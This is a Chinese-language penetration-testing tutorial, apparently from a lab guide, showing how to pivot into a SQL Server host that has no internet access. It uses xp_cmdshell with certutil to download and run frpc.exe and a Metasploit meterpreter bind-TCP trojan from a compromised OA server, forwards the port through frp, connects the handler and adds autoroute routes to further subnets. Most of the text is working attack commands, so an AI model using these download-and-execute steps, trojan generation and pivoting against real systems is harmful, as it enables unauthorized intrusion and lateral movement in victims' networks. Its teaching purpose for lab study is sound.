跳转至

内网转发

内容简介

本小节主要讲解面对不出网的机器,我们如何利用内网可以出网的主机做跳板进行端口转发,从而间接的上线内网不出网的主机。

网络拓扑

查看 SQL Server 发现真实的 IP 地址为:192.168.10.15:

image-20231204152237205

而我们是通过 172.18.100.254 这个网关的 1433 端口直接去访问的,这是因为 SQL Server 的真实位置在更深入的内网域的 192.168.10.0/254 网段下,通过端口转发映射到 172.16.100.254 网关上的,大概的网络关系如下:

image-20231205154101628

思路规划

目前先整理一下当前的线索:

image-20231205155143756

  1. 192.168.10.0/254 网段只有 DNS 可以出网,不允许 TCP 协议出网
  2. 172.18.100.0/254 网段是可以正常 TCP 出网的
  3. 我们拿到了 172.18.100.10 (Web 站点)这个服务器的 root 权限
  4. 我们拿到了 172.18.100.101 (泛微站点)这个服务器的 administrator 权限
  5. 192.168.10.0/254 网段 到 172.18.100.0/254 网段是连通的
  6. 172.18.100.0/254 网段 到 192.168.10.0/254 网段默认是不通的
  7. 172.18.100.0/254 网段要访问 192.168.10.0/254 网段 可以通过 Proxy 代理访问

通过上述线索,我们整理出的攻击路径如下:

  1. MSF 生成正向 Bind TCP 的 0.0.0.0:30001 的 exe 木马
  2. SQL Server 使用做 30001 端口转发到泛微 OA 的 30001 端口
  3. SQL Server 执行正向 Bind TCP 的 exe
  4. MSF 执行正向 Bind TCP 监听控制 SQL Server

image-20231204163333571

端口转发

端口转发的工具有很多,比如经典的 LCX、frp、还有 NPS 等,我们这里暂时使用 Frp 来做端口转发演示,详细的端口转发教程可以参考我们的内网隧道技术-网络隧道技术 章节。

frps 服务端启动

下载最新的 releases 包到泛微 OA 的机器上,然后编辑 frps.toml 配置文件如下(默认就是这个):

bindPort = 7000

然后用下面的命令启动服务端:

frps.exe -c frps.toml

frpc 客户端下载

泛微 OA 启动 HTTP 服务,得到内网的 frpc.exe 的下载链接:

http://172.18.100.101:5500/frp/frpc.exe

image-20231204220759813

然后在 SQL Server 上执行如下命令下载文件到服务器上:

exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.exe C:\Users\Public\frpc.exe && dir C:\Users\Public\';

image-20231204174540611

目录权限细节问题

因为当前的 SQL Server 权限很低,很多目录我们是无法写入的,本文中使用的 C:\Users\Public\ 目录就是一个权限比较松散的目录,是可以正常写入的。

下发 frpc 配置

frpc 做端口转发的话,可以参考如下的 frpc.toml 配置:

serverAddr = "172.18.100.101"
serverPort = 7000

[[proxies]]
name = "port_forward"
type = "tcp"
localIP = "0.0.0.0"
localPort = 30001
remotePort = 30001

然后同样通过 certutil 命令下载到 SQL Server 的服务器上:

exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/frp/frpc.toml C:\Users\Public\frpc.toml && type C:\Users\Public\frpc.toml';

上线客户端

既然 frpc.exe 和对应的 frpc.toml 配置文件已经下载到了 SQL Server 的服务器上,那么直接来执行上线的命令吧:

exec master..xp_cmdshell 'C:\Users\Public\frpc.exe -c C:\Users\Public\frpc.toml';

随后就能看到服务端显示有新的客户端接入:

image-20231204231028731

木马上线

生成木马

首先来使用 MSF 来生成对应的正向木马:

msf6 > use payload/windows/x64/meterpreter_bind_tcp
msf6 payload(windows/x64/meterpreter_bind_tcp) > set RHOST 0.0.0.0
msf6 > set LPORT 30001

然后直接在 msfconsole 控制台里面使用 generate 生成 shell 木马文件:

msf6 payload(windows/x64/meterpreter_bind_tcp) > generate -f exe -o shell.exe
[*] Writing 208384 bytes to shell.exe...

执行木马

同样使用上面的方法将 shell.exe 下载到 SQL Server 的服务器下并执行:

exec master..xp_cmdshell 'certutil -urlcache -split -f http://172.18.100.101:5500/shell/shell.exe C:\Users\Public\shell.exe && C:\Users\Public\shell.exe';

这样就相当于在 SQL Server 机器上执行了 shell.exe 木马,则在这台服务器本身开了一个 30001 的口子等待 MSF 来连接。

连接木马

因为我们通过 frp 将 SQL Server 的 30001 端口转发到了 172.18.100.101 机器上的 30001 端口上,而 MSF 通过挂 Socks5 代理隧道是可以直接请求访问 172.18.100.0/24 网段的,所以此时 MSF 使用监听器直接连接 172.18.100.101 的 30001 端口就相当于是连接 SQL Server 木马开的 Bind TCP 30001 端口,即可上线。

主要的操作细节如下:

msf6 > use exploits/multi/handler
msf6 > set payload windows/x64/meterpreter_bind_tcp
msf6 > set RHOST 172.18.100.101
msf6 > set LPORT 30001
msf6 > run

成功上线:

image-20231204231214402

创建路由

系创建成功后记得将当前 Session 的网段路由添加进来:

meterpreter > run post/multi/manage/autoroute

因为发现我们控制的此主机到 192.168.20.0/24 网段也是通的:

image-20231207213524859

所以我们还可以手动添加一条 192.168.20.0/24 网段的路由:

meterpreter > run post/multi/manage/autoroute cmd=add subnet=192.168.20.0

查看一下路由,此时我们已经有 3 条路由了:

image-20231207213726723

这样 MSF 访问这三个内网的网段都是畅通无阻的,且,其他应用通过MSF 开出来的 Socks 代理也是可以畅通无阻的访问这三个内网的网段的。